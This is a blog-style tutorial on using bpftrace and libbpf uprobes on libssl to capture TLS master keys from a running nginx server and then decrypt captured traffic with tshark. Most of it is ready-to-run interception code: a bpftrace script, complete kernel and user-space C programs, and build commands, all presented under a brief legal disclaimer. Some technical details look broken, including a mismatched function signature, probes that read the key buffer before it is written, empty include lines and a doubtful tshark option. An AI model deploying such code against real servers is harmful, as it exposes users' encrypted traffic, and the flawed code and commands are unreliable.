eBPF superpowers: using bpftrace and libbpf to steal SSL master keys without modifying nginx
Disclaimer: This article is for educational purposes and authorized security testing only. Unauthorized interception of encrypted traffic is illegal in most jurisdictions. Always obtain explicit permission before testing on systems you do not own.
Introduction
Extracting SSL/TLS master keys from production web servers like nginx traditionally requires modifying server configuration, injecting LD_PRELOAD libraries, or recompiling with debug symbols. These methods are invasive, risky, and often detectable. Enter eBPF: a kernel technology that allows running sandboxed programs in the Linux kernel without modifying source code or loading kernel modules.
In this guide, we will use two eBPF toolsets — the high-level bpftrace for rapid prototyping, and the low-level libbpf for production-grade key extraction — to capture SSL master keys from nginx without any modifications to the web server.
Prerequisites
- Linux kernel 4.18+ (eBPF uprobes support required)
- nginx compiled with OpenSSL 1.1.1+ (BoringSSL requires different function hooks)
- bpftrace 0.10+ installed
- libbpf 0.7+ and C compiler (GCC/Clang) for the libbpf example
- Root privileges to load eBPF programs
Background: SSL Master Keys and OpenSSL Internals
During the TLS handshake, the client and server derive a master secret — a 48-byte value that is used to generate session keys for encrypting traffic. OpenSSL stores this master secret in the SSL struct as master_key (array of 48 bytes) and master_key_length after the handshake completes.
To extract the key, we can attach an eBPF uprobe to the OpenSSL function responsible for generating or setting the master secret. For OpenSSL 1.1.1+, the ssl3_generate_master_secret function in libssl.so is called during the handshake to derive this value, making it an ideal hook point.
Prototyping with bpftrace
bpftrace is a high-level tracing language that simplifies eBPF program development. We can write a short one-liner to hook ssl3_generate_master_secret in nginx's linked libssl and print the master key when the function is called.
First, identify the path to libssl on your system (common paths: /usr/lib/x86_64-linux-gnu/libssl.so.1.1 or /usr/lib64/libssl.so.1.1). Then run the following bpftrace script:
#!/usr/bin/env bpftrace
uprobe:/usr/lib/x86_64-linux-gnu/libssl.so.1.1:ssl3_generate_master_secret
{
$ssl = (SSL *)arg0;
$master_key = buf(arg1, 48);
printf("Captured SSL Master Key (PID %d): %s\n", pid, $master_key);
printf("Hex: %x\n", $master_key);
}
The function signature for ssl3_generate_master_secret is:
int ssl3_generate_master_secret(SSL *s, unsigned char *out, unsigned char *p, int len);
Where arg0 is the SSL struct pointer, arg1 is the output buffer containing the derived master key, and arg2 is the length of the input premaster secret. We capture arg1 (the master key buffer) with a fixed length of 48 bytes (the maximum master key length per TLS spec).
Run this script as root, then trigger a TLS handshake with nginx (e.g., curl -k https://localhost). You should see the master key printed in the terminal.
Production-Grade Extraction with libbpf
bpftrace is great for testing, but it is not suitable for long-running key collection. libbpf provides a stable user-space API for loading and interacting with eBPF programs, including sending captured data to user space via perf ring buffers.
First, write the BPF program (ssl_key_extract.bpf.c):
#include
#include
#include
struct ssl_master_key {
u32 pid;
u8 key[48];
u8 len;
};
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} ringbuf SEC(".maps");
SEC("uprobe//usr/lib/x86_64-linux-gnu/libssl.so.1.1:ssl3_generate_master_secret")
int BPF_KPROBE(ssl3_generate_master_secret, void *ssl, void *out, void *p, int len) {
struct ssl_master_key data = {};
data.pid = bpf_get_current_pid_tgid() >> 32;
data.len = 48; // TLS master key is always 48 bytes
bpf_probe_read_user(&data.key, sizeof(data.key), out);
bpf_ringbuf_output(&ringbuf, &data, sizeof(data), 0);
return 0;
}
char _license[] SEC("license") = "GPL";
Next, write the user-space program to read from the ring buffer (ssl_key_logger.c):
#include
#include
#include
#include
struct ssl_master_key {
u32 pid;
u8 key[48];
u8 len;
};
static int handle_event(void *ctx, void *data, size_t data_sz) {
struct ssl_master_key *ev = data;
printf("PID %d: Master Key (hex): ", ev->pid);
for (int i = 0; i < ev->len; i++) {
printf("%02x", ev->key[i]);
}
printf("\n");
return 0;
}
int main() {
struct bpf_object *obj;
struct bpf_program *prog;
struct ring_buffer *rb;
int ret;
obj = bpf_object__open_file("ssl_key_extract.bpf.o", NULL);
if (!obj) {
perror("Failed to open BPF object");
return 1;
}
ret = bpf_object__load(obj);
if (ret) {
perror("Failed to load BPF object");
return 1;
}
prog = bpf_object__find_program_by_name(obj, "ssl3_generate_master_secret");
if (!prog) {
perror("Failed to find BPF program");
return 1;
}
// Attach uprobe to libssl
struct bpf_link *link = bpf_program__attach_uprobe(prog, false, -1,
"/usr/lib/x86_64-linux-gnu/libssl.so.1.1", "ssl3_generate_master_secret");
if (!link) {
perror("Failed to attach uprobe");
return 1;
}
// Set up ring buffer
rb = ring_buffer__new(bpf_map__fd(bpf_object__find_map_by_name(obj, "ringbuf")),
handle_event, NULL, NULL);
if (!rb) {
perror("Failed to create ring buffer");
return 1;
}
printf("Listening for SSL master keys...\n");
while (1) {
ring_buffer__poll(rb, 100);
}
// Cleanup (unreachable in this example)
ring_buffer__free(rb);
bpf_link__destroy(link);
bpf_object__close(obj);
return 0;
}
Compile the BPF program with Clang and libbpf:
clang -g -O2 -target bpf -c ssl_key_extract.bpf.c -o ssl_key_extract.bpf.o `pkg-config --cflags libbpf`
Compile the user-space program:
gcc -g -O2 ssl_key_logger.c -o ssl_key_logger `pkg-config --libs libbpf`
Run the logger as root, trigger a TLS handshake, and you will see master keys printed to the terminal.
Decrypting Traffic with Captured Keys
To decrypt TLS traffic with the captured master key, use Wireshark or tshark. For tshark, create a file with the master key in the format CLIENT_RANDOM (you will need to capture the client random from the TLS Client Hello, or use the SSL struct's client_random field in your eBPF program). Then run:
tshark -r nginx_traffic.pcap -o tls.keys_list:master_keys.txt
Caveats and Considerations
- OpenSSL Version: This guide targets OpenSSL 1.1.1. OpenSSL 3.0+ and BoringSSL use different internal function names and struct layouts.
- Kernel Support: Uprobes on shared libraries require kernel 4.18+. Older kernels may not support this method.
- Detection: Loaded eBPF programs are visible via
bpftool prog list, so this method is not stealthy. - Authorization: Only use this on systems you own or have explicit permission to test.
Conclusion
eBPF provides a powerful, non-invasive way to extract SSL master keys from nginx without modifying the server. While bpftrace is ideal for quick prototyping, libbpf enables production-ready, persistent key collection. As with all security tools, use this knowledge responsibly and ethically.
Top comments (0)